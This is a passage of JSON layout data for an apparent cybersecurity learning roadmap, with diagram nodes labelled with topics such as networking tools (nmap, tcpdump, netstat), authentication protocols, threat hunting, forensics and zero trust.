\"positionAbsolute\": {\n        \"x\": -374.08322195494287,\n        \"y\": 1212.4987159982743\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 288,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"u-6xuZUyOrogh1bU4cwER\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -374.08322195494287,\n        \"y\": 1053.977230118865\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"ipconfig\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 86,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 86,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -374.08322195494287,\n        \"y\": 1053.977230118865\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 86,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2M3PRbGzo14agbEPe32ww\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -165.58322195494276,\n        \"y\": 1053.4987159982743\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"netstat\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 85,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 85,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -165.58322195494276,\n        \"y\": 1053.4987159982743\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 85,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"iJRQHzh5HXADuWpCouwxv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -374.08322195494287,\n        \"y\": 1265.4987159982743\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Port Scanners\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 288,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 288,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -374.08322195494287,\n        \"y\": 1265.4987159982743\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 288,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"GuuY-Q6FZzfspB3wrH64r\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -282.87569401982097,\n        \"y\": 1053.977230118865\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"ping\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 61,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 61,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -282.87569401982097,\n        \"y\": 1053.977230118865\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 61,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"D2YYv1iTRGken75sHO0Gt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -218.87569401982097,\n        \"y\": 1053.4987159982743\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"dig\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 51,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 51,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -218.87569401982097,\n        \"y\": 1053.4987159982743\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 51,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hkO3Ga6KctKODr4gos6qX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -132.87569401982097,\n        \"y\": 1106.977230118865\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"arp\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 51,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 51,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -132.87569401982097,\n        \"y\": 1106.977230118865\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 51,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"K05mEAsjImyPge0hDtsU0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -374.08322195494287,\n        \"y\": 1318.4987159982743\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Protocol Analyzers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 288,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 288,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -374.08322195494287,\n        \"y\": 1318.4987159982743\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 288,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xqwIEyGfdZFxk6QqbPswe\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -303.87569401982097,\n        \"y\": 1106.977230118865\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"nmap\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 66,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 66,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -303.87569401982097,\n        \"y\": 1106.977230118865\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 66,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xFuWk7M-Vctk_xb7bHbWs\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -374.08322195494287,\n        \"y\": 1106.977230118865\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"route\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 66,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 66,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -374.08322195494287,\n        \"y\": 1106.977230118865\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 66,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"y8GaUNpaCT1Ai88wPOk6d\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -235.8756940198209,\n        \"y\": 1106.4987159982743\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"tcpdump\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -235.8756940198209,\n        \"y\": 1106.4987159982743\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cSz9Qx3PGwmhq3SSKYKfg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -374.08322195494287,\n        \"y\": 1159.977230118865\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"tracert\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 76,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 76,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -374.08322195494287,\n        \"y\": 1159.977230118865\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 76,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lG6afUOx3jSQFxbH92otL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -378.9678393462476,\n        \"y\": 1433.102464459639\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Kerberos\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 94,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 94,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -378.9678393462476,\n        \"y\": 1433.102464459639\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 94,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lV3swvD6QGLmD9iVfbKIF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -197.96783934624762,\n        \"y\": 1433.102464459639\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"LDAP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 61,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 61,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -197.96783934624762,\n        \"y\": 1433.102464459639\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 61,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xL32OqDKm6O043TYgVV1r\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -133.96783934624762,\n        \"y\": 1433.102464459639\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SSO\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tH3RLnJseqOzRIbZMklHD\"\n      },\n      \"zIndex\": 999,\n      \"width\": 61,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 61,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -133.96783934624762,\n        \"y\": 1433.102464459639\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 61,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tH3RLnJseqOzRIbZMklHD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -281.9678393462476,\n        \"y\": 1433.102464459639\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"RADIUS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 81,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -281.9678393462476,\n        \"y\": 1433.102464459639\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 81,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WXRaVCYwuGQsjJ5wyvbea\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -378.9678393462476,\n        \"y\": 1486.102464459639\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Certificates\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"vYvFuz7lAJXZ1vK_4999a\"\n      },\n      \"zIndex\": 999,\n      \"width\": 134,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -378.9678393462476,\n        \"y\": 1486.102464459639\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 134,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vYvFuz7lAJXZ1vK_4999a\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -243.52256827022848,\n        \"y\": 1486.102464459639\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Local Auth\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 169,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 169,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -243.52256827022848,\n        \"y\": 1486.102464459639\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 169,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RB-mm3jkLiiEbUthZ3iAt\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -355.9371056176701,\n        \"y\": 1547.6076210179635\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Authentication Methodologies\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 246,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -355.9371056176701,\n        \"y\": 1547.6076210179635\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 246,\n        \"height\": 36\n      }\n    },\n    {\n      \"width\": 274,\n      \"height\": 49,\n      \"id\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 347.8530388610519,\n        \"y\": 1648.4704602802167\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Security Skills and Knowledge\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"c1edrcSmHO_L2e9DGh7st\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 274,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 347.8530388610519,\n        \"y\": 1648.4704602802167\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 274,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2g3Y0RAgXF0UWpJ-PadMR\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 236.71759906901679,\n        \"y\": 86.75104790092138\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 430,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 430,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 236.71759906901679,\n        \"y\": 86.75104790092138\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 430,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"C53zF5OsU-kO96-MiMDFW\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 654.5851719007879,\n        \"y\": 94.44149485811568\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 3464,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 3464\n      },\n      \"positionAbsolute\": {\n        \"x\": 654.5851719007879,\n        \"y\": 94.44149485811568\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 3464\n      }\n    },\n    {\n      \"id\": \"rzY_QsvnC1shDTPQ-til0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -386.3067776144529,\n        \"y\": 1708.2039959406125\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Understand Common Hacking Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 367,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 367\n      },\n      \"positionAbsolute\": {\n        \"x\": -386.3067776144529,\n        \"y\": 1708.2039959406125\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 367,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Lg7mz4zeCToEzZBFxYuaU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -386.3067776144529,\n        \"y\": 1761.2039959406125\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Understand Common Exploit Frameworks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 367,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 367\n      },\n      \"positionAbsolute\": {\n        \"x\": -386.3067776144529,\n        \"y\": 1761.2039959406125\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 367,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Rae-f9DHDZuwIwW6eRtKF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -386.3067776144529,\n        \"y\": 1814.2039959406125\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Understand Concept of Defense in Depth\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 367,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 367\n      },\n      \"positionAbsolute\": {\n        \"x\": -386.3067776144529,\n        \"y\": 1814.2039959406125\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 367,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Ec6EairjFJLCHc7b-1xxe\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -386.3067776144529,\n        \"y\": 1867.2039959406125\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Understand Concept of Runbooks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 367,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 367\n      },\n      \"positionAbsolute\": {\n        \"x\": -386.3067776144529,\n        \"y\": 1867.2039959406125\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 367,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7KLGFfco-hw7a62kXtS3d\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -386.3067776144529,\n        \"y\": 1920.2039959406125\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Understand Basics of Forensics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 367,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 367\n      },\n      \"positionAbsolute\": {\n        \"x\": -386.3067776144529,\n        \"y\": 1920.2039959406125\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 367,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_x3BgX93N-Pt1_JK7wk0p\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -386.3067776144529,\n        \"y\": 1973.2039959406125\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Basics and Concepts of Threat Hunting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 367,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 367\n      },\n      \"positionAbsolute\": {\n        \"x\": -386.3067776144529,\n        \"y\": 1973.2039959406125\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 367,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lcxAXtO6LoGd85nOFnLo8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -386.3067776144529,\n        \"y\": 2026.2039959406125\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Basics of Vulnerability Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 367,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 367\n      },\n      \"positionAbsolute\": {\n        \"x\": -386.3067776144529,\n        \"y\": 2026.2039959406125\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 367,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uoGA4T_-c-2ip_zfEUcJJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -386.3067776144529,\n        \"y\": 2079.2039959406125\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Basics of Reverse Engineering\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 367,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 367\n      },\n      \"positionAbsolute\": {\n        \"x\": -386.3067776144529,\n        \"y\": 2079.2039959406125\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 367,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NkAAQikwH-A6vrF8fWpuB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -386.3067776144529,\n        \"y\": 2132.203995940613\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Penetration Testing Rules of Engagement\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 367,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 367,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -386.3067776144529,\n        \"y\": 2132.203995940613\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 367,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PUgPgpKio4Npzs86qEXa7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -386.3067776144529,\n        \"y\": 2185.203995940613\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Perimiter vs DMZ vs Segmentation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 367,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 367\n      },\n      \"positionAbsolute\": {\n        \"x\": -386.3067776144529,\n        \"y\": 2185.203995940613\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 367,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HavEL0u65ZxHt92TfbLzk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -12.821574094976086,\n        \"y\": 1705.3736998096438\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Core Concepts of Zero Trust\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 329,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 329\n      },\n      \"positionAbsolute\": {\n        \"x\": -12.821574094976086,\n        \"y\": 1705.3736998096438\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 329,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kqT0FRLt9Ak9P8PhHldO-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -12.821574094976086,\n        \"y\": 1758.3736998096438\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Roles of Compliance and Auditors\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 329,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 329\n      },\n      \"positionAbsolute\": {\n        \"x\": -12.821574094976086,\n        \"y\": 1758.3736998096438\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 329,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ggAja18sBUUdCfVsT0vCv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -12.821574094976086,\n        \"y\": 1811.3736998096438\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Understand the Definition of Risk\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 329,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 329\n      },\n      \"positionAbsolute\": {\n        \"x\": -12.821574094976086,\n        \"y\": 1811.3736998096438\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 329,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9asy3STW4oTYYHcUazaRj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -12.821574094976086,\n        \"y\": 1864.3736998096438\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Understand Backups and Resiliency\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 329,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 329,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -12.821574094976086,\n        \"y\": 1864.3736998096438\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 329,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"H38Vb7xvuBJXVzgPBdRdT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -12.821574094976086,\n        \"y\": 1917.3736998096438\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Cyber Kill Chain\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 329,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 329\n      },\n      \"positionAbsolute\": {\n        \"x\": -12.821574094976086,\n        \"y\": 1917.3736998096438\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 329,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"pnfVrOjDeG1uYAeqHxhJP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -12.821574094976086,\n        \"y\": 1970.3736998096438\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"MFA & 2FA\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 148,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 148,\n        \"height\": 49\n      },\n      